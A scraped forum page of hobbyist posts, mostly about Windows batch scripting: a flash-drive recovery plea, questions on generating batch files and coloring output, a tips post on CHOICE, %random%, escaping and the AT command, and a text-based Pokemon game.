Help!!! Today I had my flash drive with me and was working on some school projects. It worked fine in the morning. Though later I was messing with Batch and saved them to the drive root. Now when I plug it in windows waits for about a min. then says that new hardware was found. When it's done it says that the device is malfunctioned. I don't know what to do or if that batch file is even the problem. If it is I think that it changed the devices properties into making windows think it is bootable. I have plugged it into my Linux machine but still no dice. It won't even come up there. Oh, and I can't reformat it because it's in a way not there. I really need those files for school any way to get them back would be great. Any help would be greatly appreciated.

Posted by Rockerx 9 years ago


Creating batchfile with batchfile

Hi. I wanna make a batchfile that creates another batchfile with text. I've tried to use the echo command like this: "echo echo off > something.bat" and that do work but I need to use it like this:" echo ( echo off color a cls echo welcome etc. ) > something.bat somebody help! thanks in advance.

Posted by J.W 11 years ago


Echo independent color

Hello i'm makin a super advanced bat file for my comp noob m8 and it looks really complcated so i was wondering is it possible to color certan linese.g if their was an error it be in red with the rest of the screen in greenI ALREADY know about 'color 0a' but that fills the whole screen. I need a small block or just a line to be different & stand out

Posted by DELETED_simkinggold 10 years ago


Useful Batch Commands

Hey guys, I wanted to post a quick forum topic about useful batch commands that are seldom used or not well-known, or maybe just useful tidbits. Note: These do not have to be used, they are just extremely helpful and are just "extra," meaning you could probably find easier-to-understand but not as useful commands. 1. The CHOICE command The reason this command is so cool is that unlike other Y/N menus, when you enter the desired number, you don't have to hit enter, it goes straight to the next screen. You can also program it to execute a command after a set amount of time. Here's how to write it out: choice /c:12345 /t:5,10 if errorlevel 5 goto ha if errorlevel 4 goto joke if errorlevel 3 goto tired if errorlevel 2 goto fried if errorlevel 1 goto chiken To time it, you type /t and then a colon. You write the choice that you want to be timed, e.g. 5, and the amount of time in seconds you want it to wait for seperated by a comma. 2. The Random Variable The reason I deceided to put this up is because it is one of the only if not the only variable that is already programmed into the system. By using it correctly, you can generate a number between 1 and 32767. WHAT?! Of course, you can narrow it down, to, say about 1 and 100. :dim set rnd=%random% if %rnd% GEQ 101 goto dim if %rnd% LEQ 0 goto dim set number=%rnd% So as you can see, %random% is a set variable and generates a random number for you. Please keep in mind that this can take one second, or one eternity (literally) since it doesn't narrow down the choices after finding that a number doesn;t work. So, you may keep on generating 101 forever and never get to 100! 3. The ^| Command. Ever get frustrated because you are making an animation with, for example, stick figures and are getting driven nuts because the minute it gets to a certain part, it exits on you? The reason is probably because you used the | symbol, which is actually knd of like a command by itself. So, if you're doing something like this: echo [0] echo /| echo / The reason it is not working is because you didin't use a ^ before the |. Here's what it should be: echo [0] echo /^| echo / Yes, it looks wierd in the editing stages, but looks much better in the real thing. Just remember, you will have to remember that the ^ will be invisible, so make sure everything else in front of it is like this: echo [0]   [ echo /^|    [ echo /     [ So that the [ or whatever it is is one space ahead from the others. 4. The %TIME:~0,5% Command. What time is it? Oh, it's 3:16:52.29! Ever been frustrated with the TIME command? For one, who ( and when I mean who, I mean the average batcher who doesn't use the TIME command to synchronize seven different computers around the house which I could never hope to do) needs to be that exact? When making a batch alarm clock, for example, the user wouldn't really want to do all of that, would they? So, for those of you who would want to make such a clock, here's an example: @echo off title Alarm Clock :start cls color f0 echo. echo Use 24 hour clock echo. set /p a=Set Alarm: cls echo. echo Alarm set to %a%. :alarm if %time:~0,5% EQU %a% goto alarmset goto alarm :alarmset color fc echo echo echo cls echo. echo It's %time:~0,5%! echo. echo Press 1 to acknowledge. choice /n /c:12 /t:2,1 if errorlevel 2 goto alarmset if errorlevel 1 goto sleep goto alarmset :sleep goto start So there's one example. %TIME:~0,5% sets the time from 3:15:00.00 to just 15:15. This doesn't work just with the TIME command, you can do this with any variable. If I had a variable %x% and it said "crayon" and wanted it to say "cray," I would type in %x:~0,-2%. If I wanted to make %x% say "on," I would type in %x:~-4,0%. 5. The AT Command The AT command is exactly what it appears to be. You tell it AT (time) /every:[day(s) of the week] (command to be executed). So, it I wanted an alarm to go off whenever the Simpsons are on, I'd type AT 19:30 /every:sumtwthfs echo ALARM!!! Now, I know that the Simpsons are on at a different time on Sundays, but that's not important. Please not that you HAVE to specify what day you want it to go off on (it can be dd/mm/yyyy to be really specific). Default is set to "tomorrow." This was probably too confusing. For one, I talk too much. Thank you for even getting this far, anyways. Thanks a bunch!

Posted by TheBatchies 8 years ago


Web design & development series

Hi, I am web designer & developer form Nederland. I've been looking around here for some time and it seems like there are not many series that cover everthing about how to design and then develop a website. I thought it would be awsome to create a instructsble serie that let's someone develop there own website in pure HTML & CSS. So I have a couple of ideas. - explaining the basics of flat design (todays standard in web design) - creating a website in pure html & css from the ground up - creating a compleet wordpress theme - much more If you like one of the above ideas or if you have one of your own, please let me know. Thanks for reading. And let me know what you think! Greetings from Holland.

Posted by Kevin Tipker 2 years ago


Batch file fake hack

A file i made to fake a hack! you can use it to fool your friends!

Posted by I3uckwheat 8 years ago


CMD full screen

I'm new and need help with batching. My question: Is there a command or command line that will make a .bat file full screen with-out going through the properties/defaults for each computer you want it to run on? Thanks much!! Batches Unite!!!!!!!!

Posted by spiker 10 years ago


Text based pokemon beta

This is a demo of a text based pokemon game i am working on. There may be some glitches or bugs. Save often in case of glitches and bugs. Do not move the .txt file that the game creates, as that is the save file. Click the file named textbasedpokemon.rar, to download the game. Use winrar to open up the file. Please comment if you like it or dislike it. Please comment if you have any suggestions or ideas. Please comment if you find any problems with the game. UPDATE! Beta V1.3: updates: 1.You can now get a potion (go find it). 2.You can now get PokeBalls (pr.oak gives you them). 3.Fixed major glitch that happens when your Pokemon faints in battle and you switch to your next Pokemon. 4.Cleaned up the Pokemon info screen. 5.General fixes and changes. Update History: Beta V1.2: updates: 1.Fixed an imbalance in the way leveling up Pokemon works. 2.Modified save and load function. 3.Fixed error in how pp is calculated. 4.Fixed error caused by being healed by your mom. Beta V1.1: updates: 1.Your Pokemon can now faint in battles. 2.Your mom will heal your Pokemon if you run out of Pokemon in battle. 3.Fixed problem with Pokemon not increasing in level. 4.Increasing in level now increases a Pokemon's max hp, its max pp, its max exp, and the max amount of damage a move does. 5.increased loading speed in battles! 6.General fixes and changes.

Posted by funlunde 3 years ago